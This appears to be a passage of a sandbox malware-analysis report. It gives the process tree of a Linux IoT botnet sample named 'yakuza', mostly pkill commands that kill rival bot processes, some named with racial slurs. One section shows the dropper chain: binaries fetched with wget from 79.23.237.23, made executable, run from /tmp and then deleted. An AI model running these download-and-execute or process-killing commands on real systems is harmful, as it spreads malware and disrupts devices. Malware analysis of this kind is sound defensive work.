- - /bin/sh
    sh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"
    3⤵
    PID:2100
  - - /usr/bin/pkill
      pkill -9 19ju3d
      4⤵
      PID:2105
  - - /bin/busybox
      busybox pkill -9 19ju3d
      4⤵
      PID:2108
- - /bin/sh
    sh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"
    3⤵
    PID:2113
  - - /usr/bin/pkill
      pkill -9 SORAojkf120
      4⤵
      Reads CPU attributes
      PID:2114
  - - /bin/busybox
      busybox pkill -9 SORAojkf120
      4⤵
      PID:2117
- - /bin/sh
    sh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"
    3⤵
    PID:2120
  - - /usr/bin/pkill
      pkill -9 hehahejeje92
      4⤵
      PID:2121
  - - /bin/busybox
      busybox pkill -9 hehahejeje92
      4⤵
      PID:2124
- - /bin/sh
    sh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"
    3⤵
    PID:2128
  - - /usr/bin/pkill
      pkill -9 2U2JDJA901F91
      4⤵
      PID:2129
  - - /bin/busybox
      busybox pkill -9 2U2JDJA901F91
      4⤵
      PID:2134
- - /bin/sh
    sh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"
    3⤵
    PID:2139
  - - /usr/bin/pkill
      pkill -9 SlaVLav12
      4⤵
      PID:2140
  - - /bin/busybox
      busybox pkill -9 SlaVLav12
      4⤵
      PID:2144
- - /bin/sh
    sh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"
    3⤵
    PID:2145
  - - /usr/bin/pkill
      pkill -9 helpmedaddthhhhh
      4⤵
      Reads runtime system information
      PID:2146
  - - /bin/busybox
      busybox pkill -9 helpmedaddthhhhh
      4⤵
      PID:2153
- - /bin/sh
    sh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"
    3⤵
    PID:2154
  - - /usr/bin/pkill
      pkill -9 2wgg9qphbq
      4⤵
      PID:2155
  - - /bin/busybox
      busybox pkill -9 2wgg9qphbq
      4⤵
      PID:2162
- - /bin/sh
    sh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"
    3⤵
    PID:2164
  - - /usr/bin/pkill
      pkill -9 Slav3Th3seD3vices
      4⤵
      PID:2165
  - - /bin/busybox
      busybox pkill -9 Slav3Th3seD3vices
      4⤵
      PID:2170
- - /bin/sh
    sh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"
    3⤵
    PID:2172
  - - /usr/bin/pkill
      pkill -9 hzSmYZjYMQ
      4⤵
      PID:2177
  - - /bin/busybox
      busybox pkill -9 hzSmYZjYMQ
      4⤵
      PID:2179
- - /bin/sh
    sh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"
    3⤵
    PID:2183
  - - /usr/bin/pkill
      pkill -9 5Gbf
      4⤵
      Reads CPU attributes
      PID:2184
  - - /bin/busybox
      busybox pkill -9 5Gbf
      4⤵
      PID:2188
- - /bin/sh
    sh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"
    3⤵
    PID:2192
  - - /usr/bin/pkill
      pkill -9 SoRAxD123LOL
      4⤵
      PID:2193
  - - /bin/busybox
      busybox pkill -9 SoRAxD123LOL
      4⤵
      PID:2197
- - /bin/sh
    sh -c "pkill -9 iaGv || busybox pkill -9 iaGv"
    3⤵
    PID:2199
  - - /usr/bin/pkill
      pkill -9 iaGv
      4⤵
      PID:2202
  - - /bin/busybox
      busybox pkill -9 iaGv
      4⤵
      PID:2205
- - /bin/sh
    sh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"
    3⤵
    PID:2209
  - - /usr/bin/pkill
      pkill -9 5aA3
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:2210
  - - /bin/busybox
      busybox pkill -9 5aA3
      4⤵
      PID:2215
- - /bin/sh
    sh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"
    3⤵
    PID:2219
  - - /usr/bin/pkill
      pkill -9 SoRAxD420LOL
      4⤵
      PID:2220
  - - /bin/busybox
      busybox pkill -9 SoRAxD420LOL
      4⤵
      PID:2225
- - /bin/sh
    sh -c "pkill -9 insomni || busybox pkill -9 insomni"
    3⤵
    PID:2230
  - - /usr/bin/pkill
      pkill -9 insomni
      4⤵
      Reads CPU attributes
      PID:2231
  - - /bin/busybox
      busybox pkill -9 insomni
      4⤵
      PID:2233
- - /bin/sh
    sh -c "pkill -9 640277 || busybox pkill -9 640277"
    3⤵
    PID:2237
  - - /usr/bin/pkill
      pkill -9 640277
      4⤵
      Reads CPU attributes
      PID:2238
  - - /bin/busybox
      busybox pkill -9 640277
      4⤵
      PID:2243
- - /bin/sh
    sh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"
    3⤵
    PID:2245
  - - /usr/bin/pkill
      pkill -9 SoraBeReppin1337
      4⤵
      PID:2246
  - - /bin/busybox
      busybox pkill -9 SoraBeReppin1337
      4⤵
      PID:2250
- - /bin/sh
    sh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"
    3⤵
    - System Network Configuration Discovery
    PID:2255
  - - /usr/bin/pkill
      pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:2256
  - - /bin/busybox
      busybox pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:2260
- - /bin/sh
    sh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"
    3⤵
    PID:2262
  - - /usr/bin/pkill
      pkill -9 66tlGg9Q
      4⤵
      PID:2267
  - - /bin/busybox
      busybox pkill -9 66tlGg9Q
      4⤵
      PID:2269
- - /bin/sh
    sh -c "pkill -9 T || busybox pkill -9 T"
    3⤵
    PID:2271
  - - /usr/bin/pkill
      pkill -9 T
      4⤵
      PID:2276
  - - /bin/busybox
      busybox pkill -9 T
      4⤵
      PID:2279
- - /bin/sh
    sh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"
    3⤵
    PID:2280
  - - /usr/bin/pkill
      pkill -9 jUYfouyf87
      4⤵
      PID:2281
  - - /bin/busybox
      busybox pkill -9 jUYfouyf87
      4⤵
      PID:2286
- - /bin/sh
    sh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"
    3⤵
    PID:2293
  - - /usr/bin/pkill
      pkill -9 6ke3
      4⤵
      PID:2294
  - - /bin/busybox
      busybox pkill -9 6ke3
      4⤵
      PID:2295
- - /bin/sh
    sh -c "pkill -9 TOKYO3 || busybox pkill -9 TOKYO3"
    3⤵
    PID:2300
  - - /usr/bin/pkill
      pkill -9 TOKYO3
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:2301
  - - /bin/busybox
      busybox pkill -9 TOKYO3
      4⤵
      PID:2304
- - /bin/sh
    sh -c "pkill -9 lyEeaXul2dULCVxh || busybox pkill -9 lyEeaXul2dULCVxh"
    3⤵
    PID:2307
  - - /usr/bin/pkill
      pkill -9 lyEeaXul2dULCVxh
      4⤵
      PID:2308
  - - /bin/busybox
      busybox pkill -9 lyEeaXul2dULCVxh
      4⤵
      PID:2313
- - /bin/sh
    sh -c "pkill -9 93OfjHZ2z || busybox pkill -9 93OfjHZ2z"
    3⤵
    PID:2316
  - - /usr/bin/pkill
      pkill -9 93OfjHZ2z
      4⤵
      PID:2319
  - - /bin/busybox
      busybox pkill -9 93OfjHZ2z
      4⤵
      PID:2322
- - /bin/sh
    sh -c "pkill -9 TY2gD6MZvKc7KU6r || busybox pkill -9 TY2gD6MZvKc7KU6r"
    3⤵
    PID:2327
  - - /usr/bin/pkill
      pkill -9 TY2gD6MZvKc7KU6r
      4⤵
      PID:2330
  - - /bin/busybox
      busybox pkill -9 TY2gD6MZvKc7KU6r
      4⤵
      PID:2332
- - /bin/sh
    sh -c "pkill -9 mMkiy6f87l || busybox pkill -9 mMkiy6f87l"
    3⤵
    PID:2334
  - - /usr/bin/pkill
      pkill -9 mMkiy6f87l
      4⤵
      PID:2335
  - - /bin/busybox
      busybox pkill -9 mMkiy6f87l
      4⤵
      PID:2342
- - /bin/sh
    sh -c "pkill -9 A023UU4U24UIU || busybox pkill -9 A023UU4U24UIU"
    3⤵
    PID:2347
  - - /usr/bin/pkill
      pkill -9 A023UU4U24UIU
      4⤵
      Reads CPU attributes
      PID:2348
  - - /bin/busybox
      busybox pkill -9 A023UU4U24UIU
      4⤵
      PID:2350
- - /bin/sh
    sh -c "pkill -9 TheWeeknd || busybox pkill -9 TheWeeknd"
    3⤵
    PID:2352
  - - /usr/bin/pkill
      pkill -9 TheWeeknd
      4⤵
      PID:2353
  - - /bin/busybox
      busybox pkill -9 TheWeeknd
      4⤵
      PID:2358
- - /bin/sh
    sh -c "pkill -9 mioribitches || busybox pkill -9 mioribitches"
    3⤵
    PID:2363
  - - /usr/bin/pkill
      pkill -9 mioribitches
      4⤵
      PID:2364
  - - /bin/busybox
      busybox pkill -9 mioribitches
      4⤵
      PID:2368
- - /bin/sh
    sh -c "pkill -9 A5p9 || busybox pkill -9 A5p9"
    3⤵
    PID:2373
  - - /usr/bin/pkill
      pkill -9 A5p9
      4⤵
      PID:2374
  - - /bin/busybox
      busybox pkill -9 A5p9
      4⤵
      PID:2377
- - /bin/sh
    sh -c "pkill -9 TheWeeknds || busybox pkill -9 TheWeeknds"
    3⤵
    PID:2379
  - - /usr/bin/pkill
      pkill -9 TheWeeknds
      4⤵
      PID:2380
  - - /bin/busybox
      busybox pkill -9 TheWeeknds
      4⤵
      PID:2385
- - /bin/sh
    sh -c "pkill -9 mnblkjpoi || busybox pkill -9 mnblkjpoi"
    3⤵
    PID:2391
  - - /usr/bin/pkill
      pkill -9 mnblkjpoi
      4⤵
      PID:2392
  - - /bin/busybox
      busybox pkill -9 mnblkjpoi
      4⤵
      PID:2395
- - /bin/sh
    sh -c "pkill -9 AbAd || busybox pkill -9 AbAd"
    3⤵
    PID:2397
  - - /usr/bin/pkill
      pkill -9 AbAd
      4⤵
      PID:2398
  - - /bin/busybox
      busybox pkill -9 AbAd
      4⤵
      PID:2404
- - /bin/sh
    sh -c "pkill -9 Tokyos || busybox pkill -9 Tokyos"
    3⤵
    PID:2407
  - - /usr/bin/pkill
      pkill -9 Tokyos
      4⤵
      Reads runtime system information
      PID:2408
  - - /bin/busybox
      busybox pkill -9 Tokyos
      4⤵
      PID:2412
- - /bin/sh
    sh -c "pkill -9 neb || busybox pkill -9 neb"
    3⤵
    PID:2418
  - - /usr/bin/pkill
      pkill -9 neb
      4⤵
      Reads CPU attributes
      PID:2420
  - - /bin/busybox
      busybox pkill -9 neb
      4⤵
      PID:2422
- - /bin/sh
    sh -c "pkill -9 Akiru || busybox pkill -9 Akiru"
    3⤵
    PID:2424
  - - /usr/bin/pkill
      pkill -9 Akiru
      4⤵
      PID:2427
  - - /bin/busybox
      busybox pkill -9 Akiru
      4⤵
      PID:2431
- - /bin/sh
    sh -c "pkill -9 U8inTz || busybox pkill -9 U8inTz"
    3⤵
    PID:2436
  - - /usr/bin/pkill
      pkill -9 U8inTz
      4⤵
      PID:2437
  - - /bin/busybox
      busybox pkill -9 U8inTz
      4⤵
      PID:2440
- - /bin/sh
    sh -c "pkill -9 netstats || busybox pkill -9 netstats"
    3⤵
    PID:2442
  - - /usr/bin/pkill
      pkill -9 netstats
      4⤵
      Reads CPU attributes
      PID:2447
  - - /bin/busybox
      busybox pkill -9 netstats
      4⤵
      PID:2449
- - /bin/sh
    sh -c "pkill -9 Alex || busybox pkill -9 Alex"
    3⤵
    PID:2453
  - - /usr/bin/pkill
      pkill -9 Alex
      4⤵
      PID:2454
  - - /bin/busybox
      busybox pkill -9 Alex
      4⤵
      PID:2458
- - /bin/sh
    sh -c "pkill -9 W9RCAKM20T || busybox pkill -9 W9RCAKM20T"
    3⤵
    PID:2461
  - - /usr/bin/pkill
      pkill -9 W9RCAKM20T
      4⤵
      PID:2462
  - - /bin/busybox
      busybox pkill -9 W9RCAKM20T
      4⤵
      PID:2468
- - /bin/sh
    sh -c "pkill -9 newnetword || busybox pkill -9 newnetword"
    3⤵
    PID:2469
  - - /usr/bin/pkill
      pkill -9 newnetword
      4⤵
      Reads CPU attributes
      PID:2472
  - - /bin/busybox
      busybox pkill -9 newnetword
      4⤵
      PID:2476
- - /bin/sh
    sh -c "pkill -9 Ayo215 || busybox pkill -9 Ayo215"
    3⤵
    PID:2478
  - - /usr/bin/pkill
      pkill -9 Ayo215
      4⤵
      PID:2479
  - - /bin/busybox
      busybox pkill -9 Ayo215
      4⤵
      PID:2484
- - /bin/sh
    sh -c "pkill -9 Word || busybox pkill -9 Word"
    3⤵
    PID:2490
  - - /usr/bin/pkill
      pkill -9 Word
      4⤵
      PID:2491
  - - /bin/busybox
      busybox pkill -9 Word
      4⤵
      PID:2494
- - /bin/sh
    sh -c "pkill -9 nloads || busybox pkill -9 nloads"
    3⤵
    PID:2496
  - - /usr/bin/pkill
      pkill -9 nloads
      4⤵
      Reads runtime system information
      PID:2497
  - - /bin/busybox
      busybox pkill -9 nloads
      4⤵
      PID:2503
- - /bin/sh
    sh -c "pkill -9 BAdAsV || busybox pkill -9 BAdAsV"
    3⤵
    PID:2505
  - - /usr/bin/pkill
      pkill -9 BAdAsV
      4⤵
      Reads runtime system information
      PID:2506
  - - /bin/busybox
      busybox pkill -9 BAdAsV
      4⤵
      PID:2512
- - /bin/sh
    sh -c "pkill -9 Wordmane || busybox pkill -9 Wordmane"
    3⤵
    PID:2515
  - - /usr/bin/pkill
      pkill -9 Wordmane
      4⤵
      PID:2518
  - - /bin/busybox
      busybox pkill -9 Wordmane
      4⤵
      PID:2521
- - /bin/sh
    sh -c "pkill -9 notyakuzaa || busybox pkill -9 notyakuzaa"
    3⤵
    PID:2525
  - - /usr/bin/pkill
      pkill -9 notyakuzaa
      4⤵
      PID:2528
  - - /bin/busybox
      busybox pkill -9 notyakuzaa
      4⤵
      PID:2529
- - /bin/sh
    sh -c "pkill -9 Belch || busybox pkill -9 Belch"
    3⤵
    PID:2536
  - - /usr/bin/pkill
      pkill -9 Belch
      4⤵
      PID:2537
  - - /bin/busybox
      busybox pkill -9 Belch
      4⤵
      PID:2538
- - /bin/sh
    sh -c "pkill -9 Wordnets || busybox pkill -9 Wordnets"
    3⤵
    PID:2543
  - - /usr/bin/pkill
      pkill -9 Wordnets
      4⤵
      Reads CPU attributes
      PID:2546
  - - /bin/busybox
      busybox pkill -9 Wordnets
      4⤵
      PID:2549
- - /bin/sh
    sh -c "pkill -9 obp || busybox pkill -9 obp"
    3⤵
    PID:2552
- /bin/rm
  rm -rf yakuza.i686
  2⤵
  PID:1545
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.ppc
  2⤵
  - Writes file to tmp directory
  PID:1550
- /bin/chmod
  chmod +x yakuza.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/yakuza.ppc
  ./yakuza.ppc
  2⤵
  PID:1556
- /bin/rm
  rm -rf yakuza.ppc
  2⤵
  PID:1558
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.i586
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/chmod
  chmod +x yakuza.i586
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/yakuza.i586
  ./yakuza.i586
  2⤵
  PID:1561
- - /bin/sh
    sh -c "pkill -9 902i13 || busybox pkill -9 902i13"
    3⤵
    PID:1566
  - - /usr/bin/pkill
      pkill -9 902i13
      4⤵
      Reads CPU attributes
      PID:1567
  - - /bin/busybox
      busybox pkill -9 902i13
      4⤵
      PID:1569
- - /bin/sh
    sh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"
    3⤵
    PID:1586
  - - /usr/bin/pkill
      pkill -9 BzSxLxBxeY
      4⤵
      Reads runtime system information
      PID:1587
  - - /bin/busybox
      busybox pkill -9 BzSxLxBxeY
      4⤵
      PID:1588
- - /bin/sh
    sh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"
    3⤵
    PID:1605
  - - /usr/bin/pkill
      pkill -9 HOHO-LUGO7
      4⤵
      PID:1606
  - - /bin/busybox
      busybox pkill -9 HOHO-LUGO7
      4⤵
      PID:1607
- - /bin/sh
    sh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"
    3⤵
    PID:1618
  - - /usr/bin/pkill
      pkill -9 HOHO-U79OL
      4⤵
      Reads CPU attributes
      PID:1619
  - - /bin/busybox
      busybox pkill -9 HOHO-U79OL
      4⤵
      PID:1620
- - /bin/sh
    sh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"
    3⤵
    PID:1627
  - - /usr/bin/pkill
      pkill -9 JuYfouyf87
      4⤵
      PID:1628
  - - /bin/busybox
      busybox pkill -9 JuYfouyf87
      4⤵
      PID:1629
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:1636
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      PID:1637
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:1638
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:1645
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      PID:1646
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:1647
- - /bin/sh
    sh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"
    3⤵
    PID:1654
  - - /usr/bin/pkill
      pkill -9 LOLKIKEEEDDE
      4⤵
      PID:1655
  - - /bin/busybox
      busybox pkill -9 LOLKIKEEEDDE
      4⤵
      PID:1656
- - /bin/sh
    sh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"
    3⤵
    PID:1663
  - - /usr/bin/pkill
      pkill -9 ekjheory98e
      4⤵
      Reads runtime system information
      PID:1664
  - - /bin/busybox
      busybox pkill -9 ekjheory98e
      4⤵
      PID:1665
- - /bin/sh
    sh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"
    3⤵
    PID:1672
  - - /usr/bin/pkill
      pkill -9 scansh4
      4⤵
      PID:1673
  - - /bin/busybox
      busybox pkill -9 scansh4
      4⤵
      PID:1674
- - /bin/sh
    sh -c "pkill -9 MDMA || busybox pkill -9 MDMA"
    3⤵
    PID:1681
  - - /usr/bin/pkill
      pkill -9 MDMA
      4⤵
      PID:1682
  - - /bin/busybox
      busybox pkill -9 MDMA
      4⤵
      PID:1683
- - /bin/sh
    sh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"
    3⤵
    PID:1690
  - - /usr/bin/pkill
      pkill -9 fdevalvex
      4⤵
      PID:1691
  - - /bin/busybox
      busybox pkill -9 fdevalvex
      4⤵
      PID:1692
- - /bin/sh
    sh -c "pkill -9 scanspc || busybox pkill -9 scanspc"
    3⤵
    PID:1699
  - - /usr/bin/pkill
      pkill -9 scanspc
      4⤵
      PID:1700
  - - /bin/busybox
      busybox pkill -9 scanspc
      4⤵
      PID:1701
- - /bin/sh
    sh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"
    3⤵
    PID:1708
  - - /usr/bin/pkill
      pkill -9 MELTEDNINJAREALZ
      4⤵
      Reads CPU attributes
      PID:1709
  - - /bin/busybox
      busybox pkill -9 MELTEDNINJAREALZ
      4⤵
      PID:1710
- - /bin/sh
    sh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"
    3⤵
    PID:1717
  - - /usr/bin/pkill
      pkill -9 flexsonskids
      4⤵
      Reads runtime system information
      PID:1718
  - - /bin/busybox
      busybox pkill -9 flexsonskids
      4⤵
      PID:1719
- - /bin/sh
    sh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"
    3⤵
    PID:1726
  - - /usr/bin/pkill
      pkill -9 scanx86
      4⤵
      PID:1727
  - - /bin/busybox
      busybox pkill -9 scanx86
      4⤵
      PID:1728
- - /bin/sh
    sh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"
    3⤵
    PID:1735
  - - /usr/bin/pkill
      pkill -9 MISAKI-U79OL
      4⤵
      PID:1736
  - - /bin/busybox
      busybox pkill -9 MISAKI-U79OL
      4⤵
      PID:1737
- - /bin/sh
    sh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"
    3⤵
    PID:1744
  - - /usr/bin/pkill
      pkill -9 foAxi102kxe
      4⤵
      PID:1745
  - - /bin/busybox
      busybox pkill -9 foAxi102kxe
      4⤵
      PID:1746
- - /bin/sh
    sh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"
    3⤵
    PID:1753
  - - /usr/bin/pkill
      pkill -9 swodjwodjwoj
      4⤵
      PID:1754
  - - /bin/busybox
      busybox pkill -9 swodjwodjwoj
      4⤵
      PID:1755
- - /bin/sh
    sh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"
    3⤵
    PID:1762
  - - /usr/bin/pkill
      pkill -9 MmKiy7f87l
      4⤵
      PID:1763
  - - /bin/busybox
      busybox pkill -9 MmKiy7f87l
      4⤵
      PID:1764
- - /bin/sh
    sh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"
    3⤵
    PID:1771
  - - /usr/bin/pkill
      pkill -9 freecookiex86
      4⤵
      PID:1772
  - - /bin/busybox
      busybox pkill -9 freecookiex86
      4⤵
      PID:1773
- - /bin/sh
    sh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"
    3⤵
    PID:1780
  - - /usr/bin/pkill
      pkill -9 sysgpu
      4⤵
      PID:1781
  - - /bin/busybox
      busybox pkill -9 sysgpu
      4⤵
      PID:1782
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:1789
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      PID:1790
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:1791
- - /bin/sh
    sh -c "pkill -9 frgege || busybox pkill -9 frgege"
    3⤵
    PID:1798
  - - /usr/bin/pkill
      pkill -9 frgege
      4⤵
      PID:1799
  - - /bin/busybox
      busybox pkill -9 frgege
      4⤵
      PID:1800
- - /bin/sh
    sh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"
    3⤵
    PID:1807
  - - /usr/bin/pkill
      pkill -9 sysupdater
      4⤵
      Reads CPU attributes
      PID:1808
  - - /bin/busybox
      busybox pkill -9 sysupdater
      4⤵
      PID:1809
- - /bin/sh
    sh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"
    3⤵
    PID:1816
  - - /usr/bin/pkill
      pkill -9 0DnAzepd
      4⤵
      PID:1817
  - - /bin/busybox
      busybox pkill -9 0DnAzepd
      4⤵
      PID:1818
- - /bin/sh
    sh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"
    3⤵
    PID:1827
  - - /usr/bin/pkill
      pkill -9 NiGGeRD0nks69
      4⤵
      Reads CPU attributes
      PID:1828
  - - /bin/busybox
      busybox pkill -9 NiGGeRD0nks69
      4⤵
      PID:1829
- - /bin/sh
    sh -c "pkill -9 frgreu || busybox pkill -9 frgreu"
    3⤵
    PID:1836
  - - /usr/bin/pkill
      pkill -9 frgreu
      4⤵
      PID:1837
  - - /bin/busybox
      busybox pkill -9 frgreu
      4⤵
      PID:1838
- - /bin/sh
    sh -c "pkill -9 telnetd || busybox pkill -9 telnetd"
    3⤵
    PID:1845
  - - /usr/bin/pkill
      pkill -9 telnetd
      4⤵
      PID:1846
  - - /bin/busybox
      busybox pkill -9 telnetd
      4⤵
      PID:1847
- - /bin/sh
    sh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"
    3⤵
    PID:1854
  - - /usr/bin/pkill
      pkill -9 0x766f6964
      4⤵
      PID:1855
  - - /bin/busybox
      busybox pkill -9 0x766f6964
      4⤵
      PID:1856
- - /bin/sh
    sh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"
    3⤵
    PID:1863
  - - /usr/bin/pkill
      pkill -9 NiGGeRd0nks1337
      4⤵
      PID:1864
  - - /bin/busybox
      busybox pkill -9 NiGGeRd0nks1337
      4⤵
      PID:1865
- - /bin/sh
    sh -c "pkill -9 gaft || busybox pkill -9 gaft"
    3⤵
    PID:1872
  - - /usr/bin/pkill
      pkill -9 gaft
      4⤵
      PID:1873
  - - /bin/busybox
      busybox pkill -9 gaft
      4⤵
      PID:1874
- - /bin/sh
    sh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"
    3⤵
    PID:1881
  - - /usr/bin/pkill
      pkill -9 urasgbsigboa
      4⤵
      PID:1882
  - - /bin/busybox
      busybox pkill -9 urasgbsigboa
      4⤵
      PID:1883
- - /bin/sh
    sh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"
    3⤵
    PID:1890
  - - /usr/bin/pkill
      pkill -9 120i3UI49
      4⤵
      PID:1891
  - - /bin/busybox
      busybox pkill -9 120i3UI49
      4⤵
      PID:1892
- - /bin/sh
    sh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"
    3⤵
    PID:1899
  - - /usr/bin/pkill
      pkill -9 OaF3
      4⤵
      PID:1900
  - - /bin/busybox
      busybox pkill -9 OaF3
      4⤵
      PID:1901
- - /bin/sh
    sh -c "pkill -9 geae || busybox pkill -9 geae"
    3⤵
    PID:1908
  - - /usr/bin/pkill
      pkill -9 geae
      4⤵
      PID:1909
  - - /bin/busybox
      busybox pkill -9 geae
      4⤵
      PID:1910
- - /bin/sh
    sh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"
    3⤵
    PID:1917
  - - /usr/bin/pkill
      pkill -9 vaiolmao
      4⤵
      Reads CPU attributes
      PID:1918
  - - /bin/busybox
      busybox pkill -9 vaiolmao
      4⤵
      PID:1919
- - /bin/sh
    sh -c "pkill -9 123123a || busybox pkill -9 123123a"
    3⤵
    PID:1926
  - - /usr/bin/pkill
      pkill -9 123123a
      4⤵
      PID:1927
  - - /bin/busybox
      busybox pkill -9 123123a
      4⤵
      PID:1928
- - /bin/sh
    sh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"
    3⤵
    PID:1935
  - - /usr/bin/pkill
      pkill -9 Ofurain0n4H34D
      4⤵
      PID:1936
  - - /bin/busybox
      busybox pkill -9 Ofurain0n4H34D
      4⤵
      PID:1937
- - /bin/sh
    sh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"
    3⤵
    PID:1944
  - - /usr/bin/pkill
      pkill -9 ggTrex
      4⤵
      Reads runtime system information
      PID:1945
  - - /bin/busybox
      busybox pkill -9 ggTrex
      4⤵
      PID:1946
- - /bin/sh
    sh -c "pkill -9 wasads || busybox pkill -9 wasads"
    3⤵
    PID:1953
  - - /usr/bin/pkill
      pkill -9 wasads
      4⤵
      PID:1954
  - - /bin/busybox
      busybox pkill -9 wasads
      4⤵
      PID:1955
- - /bin/sh
    sh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"
    3⤵
    PID:1962
  - - /usr/bin/pkill
      pkill -9 1293194hjXD
      4⤵
      PID:1963
  - - /bin/busybox
      busybox pkill -9 1293194hjXD
      4⤵
      PID:1964
- - /bin/sh
    sh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"
    3⤵
    PID:1971
  - - /usr/bin/pkill
      pkill -9 OthLaLosn
      4⤵
      PID:1972
  - - /bin/busybox
      busybox pkill -9 OthLaLosn
      4⤵
      PID:1973
- - /bin/sh
    sh -c "pkill -9 ggt || busybox pkill -9 ggt"
    3⤵
    PID:1980
  - - /usr/bin/pkill
      pkill -9 ggt
      4⤵
      PID:1981
  - - /bin/busybox
      busybox pkill -9 ggt
      4⤵
      PID:1982
- - /bin/sh
    sh -c "pkill -9 wget-log || busybox pkill -9 wget-log"
    3⤵
    PID:1989
  - - /usr/bin/pkill
      pkill -9 wget-log
      4⤵
      PID:1990
  - - /bin/busybox
      busybox pkill -9 wget-log
      4⤵
      PID:1991
- - /bin/sh
    sh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"
    3⤵
    PID:1998
  - - /usr/bin/pkill
      pkill -9 1337SoraLOADER
      4⤵
      PID:1999
  - - /bin/busybox
      busybox pkill -9 1337SoraLOADER
      4⤵
      PID:2000
- - /bin/sh
    sh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"
    3⤵
    PID:2007
  - - /usr/bin/pkill
      pkill -9 SAIAKINA
      4⤵
      PID:2008
  - - /bin/busybox
      busybox pkill -9 SAIAKINA
      4⤵
      PID:2009
- - /bin/sh
    sh -c "pkill -9 ggtq || busybox pkill -9 ggtq"
    3⤵
    PID:2016
  - - /usr/bin/pkill
      pkill -9 ggtq
      4⤵
      PID:2017
  - - /bin/busybox
      busybox pkill -9 ggtq
      4⤵
      PID:2018
- - /bin/sh
    sh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"
    3⤵
    PID:2025
  - - /usr/bin/pkill
      pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:2026
  - - /bin/busybox
      busybox pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:2027
- - /bin/sh
    sh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"
    3⤵
    PID:2034
  - - /usr/bin/pkill
      pkill -9 SAIAKUSO
      4⤵
      PID:2035
  - - /bin/busybox
